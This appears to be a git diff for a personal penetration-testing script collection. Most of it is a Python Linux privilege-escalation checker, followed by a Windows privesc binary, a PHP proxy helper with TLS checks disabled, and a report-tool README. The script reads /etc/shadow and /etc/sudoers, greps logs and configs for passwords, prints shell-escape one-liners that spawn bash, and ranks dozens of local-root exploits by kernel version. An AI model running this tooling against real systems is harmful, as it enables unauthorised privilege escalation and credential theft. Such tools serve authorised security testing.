os.popen(cmd, 'r') + results = echo_stdout.read().split('\n') + cmdDict[item]["results"]=results + return cmdDict + +# print results for each previously executed command, no return value +def printResults(cmdDict): + for item in cmdDict: + msg = cmdDict[item]["msg"] + results = cmdDict[item]["results"] + print "[+] " + msg + for result in results: + if result.strip() != "": + print " " + result.strip() + print + return + +def writeResults(msg, results): + f = open("privcheckout.txt", "a"); + f.write("[+] " + str(len(results)-1) + " " + msg) + for result in results: + if result.strip() != "": + f.write(" " + result.strip()) + f.close() + return + +# Basic system info +print "[*] GETTING BASIC SYSTEM INFO...\n" + +results=[] + +sysInfo = {"OS":{"cmd":"cat /etc/issue","msg":"Operating System","results":results}, + "KERNEL":{"cmd":"cat /proc/version","msg":"Kernel","results":results}, + "HOSTNAME":{"cmd":"hostname", "msg":"Hostname", "results":results} + } + +sysInfo = execCmd(sysInfo) +printResults(sysInfo) + +# Networking Info + +print "[*] GETTING NETWORKING INFO...\n" + +netInfo = {"NETINFO":{"cmd":"/sbin/ifconfig -a", "msg":"Interfaces", "results":results}, + "ROUTE":{"cmd":"route", "msg":"Route", "results":results}, + "NETSTAT":{"cmd":"netstat -antup | grep -v 'TIME_WAIT'", "msg":"Netstat", "results":results} + } + +netInfo = execCmd(netInfo) +printResults(netInfo) + +# File System Info +print "[*] GETTING FILESYSTEM INFO...\n" + +driveInfo = {"MOUNT":{"cmd":"mount","msg":"Mount results", "results":results}, + "FSTAB":{"cmd":"cat /etc/fstab 2>/dev/null", "msg":"fstab entries", "results":results} + } + +driveInfo = execCmd(driveInfo) +printResults(driveInfo) + +# Scheduled Cron Jobs +cronInfo = {"CRON":{"cmd":"ls -la /etc/cron* 2>/dev/null", "msg":"Scheduled cron jobs", "results":results}, + "CRONW": {"cmd":"ls -aRl /etc/cron* 2>/dev/null | awk '$1 ~ /w.$/' 2>/dev/null", "msg":"Writable cron dirs", "results":results} + } + +cronInfo = execCmd(cronInfo) +printResults(cronInfo) + +# User Info +print "\n[*] ENUMERATING USER AND ENVIRONMENTAL INFO...\n" + +userInfo = {"WHOAMI":{"cmd":"whoami", "msg":"Current User", "results":results}, + "ID":{"cmd":"id","msg":"Current User ID", "results":results}, + "ALLUSERS":{"cmd":"cat /etc/passwd", "msg":"All users", "results":results}, + "SUPUSERS":{"cmd":"grep -v -E '^#' /etc/passwd | awk -F: '$3 == 0{print $1}'", "msg":"Super Users Found:", "results":results}, + "HISTORY":{"cmd":"ls -la ~/.*_history; ls -la /root/.*_history 2>/dev/null", "msg":"Root and current user history (depends on privs)", "results":results}, + "ENV":{"cmd":"env 2>/dev/null | grep -v 'LS_COLORS'", "msg":"Environment", "results":results}, + "SUDOERS":{"cmd":"cat /etc/sudoers 2>/dev/null | grep -v '#' 2>/dev/null", "msg":"Sudoers (privileged)", "results":results}, + "LOGGEDIN":{"cmd":"w 2>/dev/null", "msg":"Logged in User Activity", "results":results} + } + +userInfo = execCmd(userInfo) +printResults(userInfo) + +if "root" in userInfo["ID"]["results"][0]: + print "[!] ARE YOU SURE YOU'RE NOT ROOT ALREADY?\n" + +# File/Directory Privs +print "[*] ENUMERATING FILE AND DIRECTORY PERMISSIONS/CONTENTS...\n" + +fdPerms = {"WWDIRSROOT":{"cmd":"find / \( -wholename '/home/homedir*' -prune \) -o \( -type d -perm -0002 \) -exec ls -ld '{}' ';' 2>/dev/null | grep root", "msg":"World Writeable Directories for User/Group 'Root'", "results":results}, + "WWDIRS":{"cmd":"find / \( -wholename '/home/homedir*' -prune \) -o \( -type d -perm -0002 \) -exec ls -ld '{}' ';' 2>/dev/null | grep -v root", "msg":"World Writeable Directories for Users other than Root", "results":results}, + "WWFILES":{"cmd":"find / \( -wholename '/home/homedir/*' -prune -o -wholename '/proc/*' -prune \) -o \( -type f -perm -0002 \) -exec ls -l '{}' ';' 2>/dev/null", "msg":"World Writable Files", "results":results}, + "SUID":{"cmd":"find / \( -perm -2000 -o -perm -4000 \) -exec ls -ld {} \; 2>/dev/null", "msg":"SUID/SGID Files and Directories", "results":results}, + "ROOTHOME":{"cmd":"ls -ahlR /root 2>/dev/null", "msg":"Checking if root's home folder is accessible", "results":results} + } + +fdPerms = execCmd(fdPerms) +printResults(fdPerms) + +pwdFiles = {"LOGPWDS":{"cmd":"find /var/log -name '*.log' 2>/dev/null | xargs -l10 egrep 'pwd|password' 2>/dev/null", "msg":"Logs containing keyword 'password'", "results":results}, + "CONFPWDS":{"cmd":"find /etc -name '*.c*' 2>/dev/null | xargs -l10 egrep 'pwd|password' 2>/dev/null", "msg":"Config files containing keyword 'password'", "results":results}, + "SHADOW":{"cmd":"cat /etc/shadow 2>/dev/null", "msg":"Shadow File (Privileged)", "results":results} + } + +pwdFiles = execCmd(pwdFiles) +printResults(pwdFiles) + +# Processes and Applications +print "[*] ENUMERATING PROCESSES AND APPLICATIONS...\n" + +if "debian" in sysInfo["KERNEL"]["results"][0] or "ubuntu" in sysInfo["KERNEL"]["results"][0]: + getPkgs = "dpkg -l | awk '{$1=$4=\"\"; print $0}'" # debian +else: + getPkgs = "rpm -qa | sort -u" # RH/other + +getAppProc = {"PROCS":{"cmd":"ps aux | awk '{print $1,$2,$9,$10,$11}'", "msg":"Current processes", "results":results}, + "PKGS":{"cmd":getPkgs, "msg":"Installed Packages", "results":results} + } + +getAppProc = execCmd(getAppProc) +printResults(getAppProc) # comment to reduce output + +otherApps = { "SUDO":{"cmd":"sudo -V | grep version 2>/dev/null", "msg":"Sudo Version (Check out http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=sudo)", "results":results}, + "APACHE":{"cmd":"apache2 -v; apache2ctl -M; httpd -v; apachectl -l 2>/dev/null", "msg":"Apache Version and Modules", "results":results}, + "APACHECONF":{"cmd":"cat /etc/apache2/apache2.conf 2>/dev/null", "msg":"Apache Config File", "results":results} + } + +otherApps = execCmd(otherApps) +printResults(otherApps) + +print "[*] IDENTIFYING PROCESSES AND PACKAGES RUNNING AS ROOT OR OTHER SUPERUSER...\n" + +# find the package information for the processes currently running +# under root or another super user + +procs = getAppProc["PROCS"]["results"] +pkgs = getAppProc["PKGS"]["results"] +supusers = userInfo["SUPUSERS"]["results"] +procdict = {} # dictionary to hold the processes running as super users + +for proc in procs: # loop through each process + relatedpkgs = [] # list to hold the packages related to a process + try: + for user in supusers: # loop through the known super users + if (user != "") and (user in proc): # if the process is being run by a super user + procname = proc.split(" ")[4] # grab the process name + if "/" in procname: + splitname = procname.split("/") + procname = splitname[len(splitname)-1] + for pkg in pkgs: # loop through the packages + if not len(procname) < 3: # name too short to get reliable package results + if procname in pkg: + if procname in procdict: + relatedpkgs = procdict[proc] # if already in the dict, grab its pkg list + if pkg not in relatedpkgs: + relatedpkgs.append(pkg) # add pkg to the list + procdict[proc]=relatedpkgs # add any found related packages to the process dictionary entry + except: + pass + +for key in procdict: + print " " + key # print the process name + try: + if not procdict[key][0] == "": # only print the rest if related packages were found + print " Possible Related Packages: " + for entry in procdict[key]: + print " " + entry # print each related package + except: + pass + +# EXPLOIT ENUMERATION + +# First discover the avaialable tools +print +print "[*] ENUMERATING INSTALLED LANGUAGES/TOOLS FOR SPLOIT BUILDING...\n" + +devTools = {"TOOLS":{"cmd":"which awk perl python ruby gcc cc vi vim nmap find netcat nc wget tftp ftp 2>/dev/null", "msg":"Installed Tools", "results":results}} +devTools = execCmd(devTools) +printResults(devTools) + +print "[+] Related Shell Escape Sequences...\n" +escapeCmd = {"vi":[":!bash", ":set shell=/bin/bash:shell"], "awk":["awk 'BEGIN {system(\"/bin/bash\")}'"], "perl":["perl -e 'exec \"/bin/bash\";'"], "find":["find / -exec /usr/bin/awk 'BEGIN {system(\"/bin/bash\")}' \\;"], "nmap":["--interactive"]} +for cmd in escapeCmd: + for result in devTools["TOOLS"]["results"]: + if cmd in result: + for item in escapeCmd[cmd]: + print " " + cmd + "-->\t" + item +print +print "[*] FINDING RELEVENT PRIVILEGE ESCALATION EXPLOITS...\n" + +# Now check for relevant exploits (note: this list should be updated over time; source: Exploit-DB) +# sploit format = sploit name : {minversion, maxversion, exploitdb#, language, {keywords for applicability}} -- current keywords are 'kernel', 'proc', 'pkg' (unused), and 'os' +sploits= { "2.2.x-2.4.x ptrace kmod local exploit":{"minver":"2.2", "maxver":"2.4.99", "exploitdb":"3", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "< 2.4.20 Module Loader Local Root Exploit":{"minver":"0", "maxver":"2.4.20", "exploitdb":"12", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "2.4.22 "'do_brk()'" local Root Exploit (PoC)":{"minver":"2.4.22", "maxver":"2.4.22", "exploitdb":"129", "lang":"asm", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "<= 2.4.22 (do_brk) Local Root Exploit (working)":{"minver":"0", "maxver":"2.4.22", "exploitdb":"131", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "2.4.x mremap() bound checking Root Exploit":{"minver":"2.4", "maxver":"2.4.99", "exploitdb":"145", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "<= 2.4.29-rc2 uselib() Privilege Elevation":{"minver":"0", "maxver":"2.4.29", "exploitdb":"744", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "2.4 uselib() Privilege Elevation Exploit":{"minver":"2.4", "maxver":"2.4", "exploitdb":"778", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "2.4.x / 2.6.x uselib() Local Privilege Escalation Exploit":{"minver":"2.4", "maxver":"2.6.99", "exploitdb":"895", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "2.4/2.6 bluez Local Root Privilege Escalation Exploit (update)":{"minver":"2.4", "maxver":"2.6.99", "exploitdb":"926", "lang":"c", "keywords":{"loc":["proc","pkg"], "val":"bluez"}}, + "<= 2.6.11 (CPL 0) Local Root Exploit (k-rad3.c)":{"minver":"0", "maxver":"2.6.11", "exploitdb":"1397", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "MySQL 4.x/5.0 User-Defined Function Local Privilege Escalation Exploit":{"minver":"0", "maxver":"99", "exploitdb":"1518", "lang":"c", "keywords":{"loc":["proc","pkg"], "val":"mysql"}}, + "2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit":{"minver":"2.6.13", "maxver":"2.6.17.4", "exploitdb":"2004", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit (2)":{"minver":"2.6.13", "maxver":"2.6.17.4", "exploitdb":"2005", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit (3)":{"minver":"2.6.13", "maxver":"2.6.17.4", "exploitdb":"2006", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit (4)":{"minver":"2.6.13", "maxver":"2.6.17.4", "exploitdb":"2011", "lang":"sh", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "<= 2.6.17.4 (proc) Local Root Exploit":{"minver":"0", "maxver":"2.6.17.4", "exploitdb":"2013", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "2.6.13 <= 2.6.17.4 prctl() Local Root Exploit (logrotate)":{"minver":"2.6.13", "maxver":"2.6.17.4", "exploitdb":"2031", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "Ubuntu/Debian Apache 1.3.33/1.3.34 (CGI TTY) Local Root Exploit":{"minver":"4.10", "maxver":"7.04", "exploitdb":"3384", "lang":"c", "keywords":{"loc":["os"], "val":"debian"}}, + "Linux/Kernel 2.4/2.6 x86-64 System Call Emulation Exploit":{"minver":"2.4", "maxver":"2.6", "exploitdb":"4460", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "< 2.6.11.5 BLUETOOTH Stack Local Root Exploit":{"minver":"0", "maxver":"2.6.11.5", "exploitdb":"4756", "lang":"c", "keywords":{"loc":["proc","pkg"], "val":"bluetooth"}}, + "2.6.17 - 2.6.24.1 vmsplice Local Root Exploit":{"minver":"2.6.17", "maxver":"2.6.24.1", "exploitdb":"5092", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "2.6.23 - 2.6.24 vmsplice Local Root Exploit":{"minver":"2.6.23", "maxver":"2.6.24", "exploitdb":"5093", "lang":"c", "keywords":{"loc":["os"], "val":"debian"}}, + "Debian OpenSSL Predictable PRNG Bruteforce SSH Exploit":{"minver":"0", "maxver":"99", "exploitdb":"5720", "lang":"python", "keywords":{"loc":["os"], "val":"debian"}}, + "Linux Kernel < 2.6.22 ftruncate()/open() Local Exploit":{"minver":"0", "maxver":"2.6.22", "exploitdb":"6851", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "< 2.6.29 exit_notify() Local Privilege Escalation Exploit":{"minver":"0", "maxver":"2.6.29", "exploitdb":"8369", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "2.6 UDEV Local Privilege Escalation Exploit":{"minver":"2.6", "maxver":"2.6.99", "exploitdb":"8478", "lang":"c", "keywords":{"loc":["proc","pkg"], "val":"udev"}}, + "2.6 UDEV < 141 Local Privilege Escalation Exploit":{"minver":"2.6", "maxver":"2.6.99", "exploitdb":"8572", "lang":"c", "keywords":{"loc":["proc","pkg"], "val":"udev"}}, + "2.6.x ptrace_attach Local Privilege Escalation Exploit":{"minver":"2.6", "maxver":"2.6.99", "exploitdb":"8673", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "2.6.29 ptrace_attach() Local Root Race Condition Exploit":{"minver":"2.6.29", "maxver":"2.6.29", "exploitdb":"8678", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "Linux Kernel <=2.6.28.3 set_selection() UTF-8 Off By One Local Exploit":{"minver":"0", "maxver":"2.6.28.3", "exploitdb":"9083", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "Test Kernel Local Root Exploit 0day":{"minver":"2.6.18", "maxver":"2.6.30", "exploitdb":"9191", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "PulseAudio (setuid) Priv. Escalation Exploit (ubu/9.04)(slack/12.2.0)":{"minver":"2.6.9", "maxver":"2.6.30", "exploitdb":"9208", "lang":"c", "keywords":{"loc":["pkg"], "val":"pulse"}}, + "2.x sock_sendpage() Local Ring0 Root Exploit":{"minver":"2", "maxver":"2.99", "exploitdb":"9435", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "2.x sock_sendpage() Local Root Exploit 2":{"minver":"2", "maxver":"2.99", "exploitdb":"9436", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "2.4/2.6 sock_sendpage() ring0 Root Exploit (simple ver)":{"minver":"2.4", "maxver":"2.6.99", "exploitdb":"9479", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "2.6 < 2.6.19 (32bit) ip_append_data() ring0 Root Exploit":{"minver":"2.6", "maxver":"2.6.19", "exploitdb":"9542", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "2.4/2.6 sock_sendpage() Local Root Exploit (ppc)":{"minver":"2.4", "maxver":"2.6.99", "exploitdb":"9545", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "< 2.6.19 udp_sendmsg Local Root Exploit (x86/x64)":{"minver":"0", "maxver":"2.6.19", "exploitdb":"9574", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "< 2.6.19 udp_sendmsg Local Root Exploit":{"minver":"0", "maxver":"2.6.19", "exploitdb":"9575", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "2.4/2.6 sock_sendpage() Local Root Exploit [2]":{"minver":"2.4", "maxver":"2.6.99", "exploitdb":"9598", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "2.4/2.6 sock_sendpage() Local Root Exploit [3]":{"minver":"2.4", "maxver":"2.6.99", "exploitdb":"9641", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "2.4.1-2.4.37 and 2.6.1-2.6.32-rc5 Pipe.c Privelege Escalation":{"minver":"2.4.1", "maxver":"2.6.32", "exploitdb":"9844", "lang":"python", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "'pipe.c' Local Privilege Escalation Vulnerability":{"minver":"2.4.1", "maxver":"2.6.32", "exploitdb":"10018", "lang":"sh", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "2.6.18-20 2009 Local Root Exploit":{"minver":"2.6.18", "maxver":"2.6.20", "exploitdb":"10613", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "Apache Spamassassin Milter Plugin Remote Root Command Execution":{"minver":"0", "maxver":"99", "exploitdb":"11662", "lang":"sh", "keywords":{"loc":["proc"], "val":"spamass-milter"}}, + "<= 2.6.34-rc3 ReiserFS xattr Privilege Escalation":{"minver":"0", "maxver":"2.6.34", "exploitdb":"12130", "lang":"python", "keywords":{"loc":["mnt"], "val":"reiser"}}, + "Ubuntu PAM MOTD local root":{"minver":"7", "maxver":"10.04", "exploitdb":"14339", "lang":"sh", "keywords":{"loc":["os"], "val":"ubuntu"}}, + "< 2.6.36-rc1 CAN BCM Privilege Escalation Exploit":{"minver":"0", "maxver":"2.6.36", "exploitdb":"14814", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "Kernel ia32syscall Emulation Privilege Escalation":{"minver":"0", "maxver":"99", "exploitdb":"15023", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "Linux RDS Protocol Local Privilege Escalation":{"minver":"0", "maxver":"2.6.36", "exploitdb":"15285", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "<= 2.6.37 Local Privilege Escalation":{"minver":"0", "maxver":"2.6.37", "exploitdb":"15704", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "< 2.6.37-rc2 ACPI custom_method Privilege Escalation":{"minver":"0", "maxver":"2.6.37", "exploitdb":"15774", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "CAP_SYS_ADMIN to root Exploit":{"minver":"0", "maxver":"99", "exploitdb":"15916", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "CAP_SYS_ADMIN to Root Exploit 2 (32 and 64-bit)":{"minver":"0", "maxver":"99", "exploitdb":"15944", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "< 2.6.36.2 Econet Privilege Escalation Exploit":{"minver":"0", "maxver":"2.6.36.2", "exploitdb":"17787", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "Sendpage Local Privilege Escalation":{"minver":"0", "maxver":"99", "exploitdb":"19933", "lang":"ruby", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "2.4.18/19 Privileged File Descriptor Resource Exhaustion Vulnerability":{"minver":"2.4.18", "maxver":"2.4.19", "exploitdb":"21598", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "2.2.x/2.4.x Privileged Process Hijacking Vulnerability (1)":{"minver":"2.2", "maxver":"2.4.99", "exploitdb":"22362", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "2.2.x/2.4.x Privileged Process Hijacking Vulnerability (2)":{"minver":"2.2", "maxver":"2.4.99", "exploitdb":"22363", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "Samba 2.2.8 Share Local Privilege Elevation Vulnerability":{"minver":"2.2.8", "maxver":"2.2.8", "exploitdb":"23674", "lang":"c", "keywords":{"loc":["proc","pkg"], "val":"samba"}}, + "open-time Capability file_ns_capable() - Privilege Escalation Vulnerability":{"minver":"0", "maxver":"99", "exploitdb":"25307", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "open-time Capability file_ns_capable() Privilege Escalation":{"minver":"0", "maxver":"99", "exploitdb":"25450", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, +} + +# variable declaration +os = sysInfo["OS"]["results"][0] +version = sysInfo["KERNEL"]["results"][0].split(" ")[2].split("-")[0] +langs = devTools["TOOLS"]["results"] +procs = getAppProc["PROCS"]["results"] +kernel = str(sysInfo["KERNEL"]["results"][0]) +mount = driveInfo["MOUNT"]["results"] +#pkgs = getAppProc["PKGS"]["results"] # currently not using packages for sploit appicability but my in future + + +# lists to hold ranked, applicable sploits +# note: this is a best-effort, basic ranking designed to help in prioritizing priv escalation exploit checks +# all applicable exploits should be checked and this function could probably use some improvement +avgprob = [] +highprob = [] + +for sploit in sploits: + lang = 0 # use to rank applicability of sploits + keyword = sploits[sploit]["keywords"]["val"] + sploitout = sploit + " || " + "http://www.exploit-db.com/exploits/" + sploits[sploit]["exploitdb"] + " || " + "Language=" + sploits[sploit]["lang"] + # first check for kernell applicability + if (version >= sploits[sploit]["minver"]) and (version <= sploits[sploit]["maxver"]): + # next check language applicability + if (sploits[sploit]["lang"] == "c") and (("gcc" in str(langs)) or ("cc" in str(langs))): + lang = 1 # language found, increase applicability score + elif sploits[sploit]["lang"] == "sh": + lang = 1 # language found, increase applicability score + elif (sploits[sploit]["lang"] in str(langs)): + lang = 1 # language found, increase applicability score + if lang == 0: + sploitout = sploitout + "**" # added mark if language not detected on system + # next check keyword matches to determine if some sploits have a higher probability of success + for loc in sploits[sploit]["keywords"]["loc"]: + if loc == "proc": + for proc in procs: + if keyword in proc: + highprob.append(sploitout) # if sploit is associated with a running process consider it a higher probability/applicability + break + break + elif loc == "os": + if (keyword in os) or (keyword in kernel): + highprob.append(sploitout) # if sploit is specifically applicable to this OS consider it a higher probability/applicability + break + elif loc == "mnt": + if keyword in mount: + highprob.append(sploitout) # if sploit is specifically applicable to a mounted file system consider it a higher probability/applicability + break + else: + avgprob.append(sploitout) # otherwise, consider average probability/applicability based only on kernel version + +print " Note: Exploits relying on a compile/scripting language not detected on this system are marked with a '**' but should still be tested!" +print + +print " The following exploits are ranked higher in probability of success because this script detected a related running process, OS, or mounted file system" +for exploit in highprob: + print " - " + exploit +print + +print " The following exploits are applicable to this kernel version and should be investigated as well" +for exploit in avgprob: + print " - " + exploit + +print +print "Finished" +print bigline diff --git a/privesc/windows-privesc-check2.exe b/privesc/windows-privesc-check2.exe new file mode 100755 index 0000000..b71f4de --- /dev/null +++ b/privesc/windows-privesc-check2.exe Binary files differ diff --git a/BurpManiProxy.php b/BurpManiProxy.php new file mode 100755 index 0000000..85fe529 --- /dev/null +++ b/BurpManiProxy.php @@ -0,0 +1,39 @@ + 'okhttp/3.9.0', 'app' => 'ANDROID', 'key' => '123']; + + $variable = getdataz($target, $headers, $dataz); + echo $variable; // or do manipulation etc. + + /*** + * Leave me + */ + + function getdataz($target, $headers, $dataz){ + $ch = curl_init($target); + + curl_setopt($ch, CURLOPT_HEADER, $headers); + curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); + curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); + curl_setopt($ch, CURLOPT_POSTFIELDS,$dataz); + curl_setopt($ch, CURLOPT_PROXY, '127.0.0.1:8080'); + curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); + + $result = curl_exec($ch); + curl_close($ch); + + return $result; + } +} + +?> \ No newline at end of file diff --git a/README.md b/README.md index 94d2610..16d5f1c 100644 --- a/README.md +++ b/README.md @@ -1,2 +1,9 @@ -DirtyScripts -=============== +This repo comes as-is!! + +It is just a dump of stuff, maybe useful, probably not. + +Without warranty or documentation. + +If you can't read the code then this isn't for you. + +Please do not ask for help regarding anything here, you will be ignored \ No newline at end of file diff --git a/ReportToolz/README.md b/ReportToolz/README.md new file mode 100644 index 0000000..6e0e95c --- /dev/null +++ b/ReportToolz/README.md @@ -0,0 +1,29 @@ +``` +╰» ./rep2.php -d "/mnt/hgfs/Pentest/pentests/2019/Precise/J34562.6 Company Web Application Technical Report 1.1.odt" +_____ _____ _____ 2 +||_// ||== ||_// +|| \ ||___ || + +[!] doc: /mnt/hgfs/Pentest/pentests/2019/Company/J12345.6 Company Web Application Technical Report 1.1.odt +[+] doc extracted +[=] fonts found: 23 +[+] vulnerabilities identified +[+] temp files removed +[+] created directory /mnt/hgfs/Pentest/pentests/2019/Company/rep2/ +[+] medium issues: /mnt/hgfs/Pentest/pentests/2019/Company/rep2/findings_serious.csv +[+] low issues: /mnt/hgfs/Pentest/pentests/2019/Company/rep2/findings_serious.csv +[+] all issues: /mnt/hgfs/Pentest/pentests/2019/Company/rep2/findings_all.csv +[+] remediation table: /mnt/hgfs/Pentest/pentests/2019/Company/rep2/remediation.csv +[+] OWASP table: /mnt/hgfs/Pentest/pentests/2019/Company/rep2/owasp.csv +[=] Serious = 0, High = 0, Medium = 4, Low = 3 + +Ref | Title | Risk | CVSS | Remediation | OWASP +-------|-----------------------------------|--------|--------|---------------|------------------------------ +5.1.1 |Missing Security Headers |Medium |5.1 |Configuration |A6 Security Misconfiguration +5.1.2 |Insecure SSL Certificate Detected |Medium |4.8 |Configuration |A6 Security Misconfiguration +5.1.3 |Missing Cookie Attributes |Medium |4.7 |Configuration |A6 Security Misconfiguration +5.1.4 |jQuery Vulnerabilities |Medium |4.3 |Configuration |A9 Components with Known Vulne +5.2.1 |Software Version Numbers Disclosed |Low |5.3 |Configuration |A6 Security Misconfiguration +5.2.2 |Verbose Error Reporting Enabled |Low |5.3 |Configuration |A6 Security Misconfiguration +5.2.3 |Wildcard SSL Certificate |Low |3.7 |Configuration |A6 Security Misconfiguration +``` \ No newline at end of file diff --git a/ReportToolz/classes/CommandArgumentFilter.php b/ReportToolz/classes/CommandArgumentFilter.php new file mode 100644 index 0000000..1ffa45e --- /dev/null +++ b/ReportToolz/classes/CommandArgumentFilter.php @@ -0,0 +1,343 @@ + + */ + +namespace Clapp; + +/** + * Filters an array and extracts and validates command line arguments + * + * @author Patrick Forget + */ +class CommandArgumentFilter +{ + /** + * Command line arguments + * @var array + */ + private $arguments = array(); + + /** + * Definition of allowed parameters + * @var \Clapp\CommandLineArgumentDefinition + */ + private $definitions = null; + + /** + * Flag if arguments have been parsed in to params + * @var boolean + */ + private $parsed = false; + + /** + * Parsed params + * @var array + */ + private $params = array(); + + /** + * Trailing values + * @var string + */ + private $trailingValues = ""; + + /** + * program name + * @var string + */ + private $programName = ""; + + /** + * class constructor + * + * @author Patrick Forget + * + * @param \Clapp\CommandLineDefinition $definitions contains list of allowed parameters + * @param array $args list of arguments to filter. + */ + public function __construct(\Clapp\CommandLineArgumentDefinition $definitions, $args) + { + if (is_array($args)) { + $this->arguments = $args; + } //if + + $this->definitions = $definitions; + } // __construct() + + /** + * returns parameter matching provided name + * + * @author Patrick Forget + * + * @param string name of the paramter to retreive + * + * @return mixed if param the param appears only once the method will + * return 1 if the parameter doesn't take a value. The specified value + * for that param will returned if it does take value. + * + * If many occurence of the param appear the number of occurences will + * be returned for params that do not take values. An array of values + * will be returned for the parameters that do take values. + * + * If the parameter is not present null if it takes a value and false if + * it's not present and doesn't allow values + */ + public function getParam($name) + { + if (!$this->parsed) { + $this->parseParams(); + } //if + + $longName = strlen($name) === 1 ? $this->definitions->getLongName($name) : $name; + if (isset($this->params[$longName])) { + return $this->params[$longName]; + } else { + if ($this->definitions->allowsValue($longName)) { + return null; + } else { + return false; + } //if + } //if + + } // getParam() + + /** + * retreive the program name + * + * @author Patrick Forget + */ + public function getProgramName() + { + if (!$this->parsed) { + $this->parseParams(); + } //if + + return $this->programName; + } // getProgramName() + + /** + * retreive the trailing values + * + * @author Patrick Forget + */ + public function getTrailingValues() + { + if (!$this->parsed) { + $this->parseParams(); + } //if + + return $this->trailingValues; + } // getTrailingValues() + + /** + * extracts params from arguments + * + * @author Patrick Forget + */ + protected function parseParams() + { + + $argumentStack = $this->arguments; + + $expectingValue = false; + $currentLongName = null; + $currentValue = null; + $trailingValues = ""; + $endOfDashedArguments = false; + $addParam = false; + $argumentsLeft = sizeof($argumentStack); + $multiShortParams = array(); + + $this->programName = array_shift($argumentStack); // remove first argument which is the program name + + while ($currentArgument = array_shift($argumentStack)) { + $argumentsLeft--; + $currentArgumentLength = strlen($currentArgument); + + // arguments that don't start with a dash + if (substr($currentArgument, 0, 1) !== '-') { + if ($expectingValue) { + $currentValue = $currentArgument; + $addParam = true; + } else { + $trailingValues .= " ". $currentArgument; + $endOfDashedArguments = true; + } //if + + // double dash detected + } elseif (substr($currentArgument, 1, 1) === '-') { + if ($expectingValue) { + throw new \UnexpectedValueException("Parameter {$currentLongName} expects a values"); + } //if + + /* stop parsing arguments if double dash + only param is encountered */ + if ($currentArgumentLength == 2) { + if ($trailingValues !== "") { + throw new \UnexpectedValueException("Trailing values must appear after double dash"); + } //if + + $trailingValues = " ". implode(" ", $argumentStack); + $argumentStack = array(); + $endOfDashedArguments = true; + break; + } //if + + $longNameParts = explode("=", substr($currentArgument, 2), 2); + + $currentLongName = $longNameParts[0]; + + if (sizeof($longNameParts) > 1) { + $currentValue = $longNameParts[1]; + $addParam = true; + } elseif ($this->definitions->allowsValue($currentLongName)) { + $expectingValue = true; + } else { + $addParam = true; + } //if + + // single dash + } else { + if ($expectingValue) { + throw new \UnexpectedValueException("Parameter {$currentLongName} expects a values"); + } //if + + $shortNameParts = explode("=", substr($currentArgument, 1), 2); + + $shortName = $shortNameParts[0]; + + if (strlen($shortName) <= 1) { + $currentLongName = $this->definitions->getLongName($shortName); + + if ($currentLongName === null) { + throw new \InvalidArgumentException("Unable to find name with ". + "provided parameter ({$shortName})"); + } //if + + if (sizeof($shortNameParts) > 1) { + $currentValue = $shortNameParts[1]; + $addParam = true; + } elseif 